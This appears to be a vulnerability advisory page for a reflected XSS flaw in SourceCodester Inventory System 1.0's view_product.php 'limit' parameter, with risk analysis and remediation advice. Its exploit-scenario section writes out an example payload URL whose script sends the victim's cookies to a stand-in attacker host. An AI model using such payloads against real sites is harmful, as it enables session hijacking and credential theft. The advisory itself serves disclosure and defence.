Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Risk assessment is constrained by incomplete data: CVSS vector, CVSS numeric score, EPSS score, and KEV status are all absent from available intelligence. However, multiple positive exploitation signals are present. First, reflected XSS is a well-understood attack class with low technical complexity (attack vector likely NETWORK, attack complexity LOW). Second, publicly available exploit code exists and is indexed in GitHub, indicating both discoverability and reproducibility by threat actors. Third, the application appears to be legacy software (version 1.0) with no evidence of active patching, suggesting affected instances may remain unpatched for extended periods. The absence of authentication requirements further reduces attacker friction. While CVSS and EPSS scores would refine this assessment, the combination of public POC availability, trivial exploitation complexity, and broad applicability to unauthenticated users suggests this merits prioritized remediation in affected environments, particularly for internet-facing deployments. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as http://target.local/view_product.php?limit=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> and distributes it to users (via phishing email, social media, or forum posts). When an unauthenticated victim clicks the link, the script executes in their browser session, transmitting their session cookies or credentials to the attacker's server. The attack requires no special privileges, authentication, or user interaction beyond clicking the link. A public exploit proof-of-concept has been published, reducing the barrier to weaponization. |
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Alert meAnalysisAIv1 – Mar 27, 2026
Reflected XSS in SourceCodester Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript via the unvalidated 'limit' parameter in view_product.php. The vulnerability affects the web application without authentication requirements, and publicly available exploit code has been disclosed. While CVSS scoring data is unavailable, the combination of reflected XSS execution context, public POC availability, and lack of input sanitization indicates meaningful risk to deployments of this legacy system.
RemediationAI
Immediate action: Upgrade SourceCodester Inventory System to the latest available version if a patched release exists; however, no vendor-released patch version has been confirmed in available intelligence, and vendor advisory URL is not available. Primary mitigation while awaiting patch information: implement input validation on the 'limit' parameter to enforce numeric-only values and reject non-numeric input; apply output encoding to all user-controlled data reflected in responses using htmlspecialchars() or equivalent; implement Content Security Policy (CSP) headers with script-src restrictions to limit injection impact. Secondary measures: deploy Web Application Firewall (WAF) rules to detect and block XSS payloads in the 'limit' parameter; isolate or remove internet-facing deployments of Inventory System 1.0 until patches are available; consider migrating to a maintained inventory management solution with security-first design.
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The vulnerability is rooted in improper input validation and output encoding in a PHP-based web application. The view_product.php endpoint accepts a 'limit' parameter that is reflected in HTTP responses without sanitization or HTML entity encoding, violating CWE-79 (Cross-site Scripting). SourceCodester Inventory System 1.0 is a PHP application framework (CPE data not provided in source material, but identifiable as cpe:2.3:a:sourcecodester:inventory_system:1.0:*:*:*:*:*:*:*) that fails to implement parameterized output or Content Security Policy (CSP) headers. Reflected XSS of this type typically executes in the context of an unauthenticated user's browser session, allowing session hijacking, credential theft, or malware distribution.
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AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Inventory System 1.0 in the view_product.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.
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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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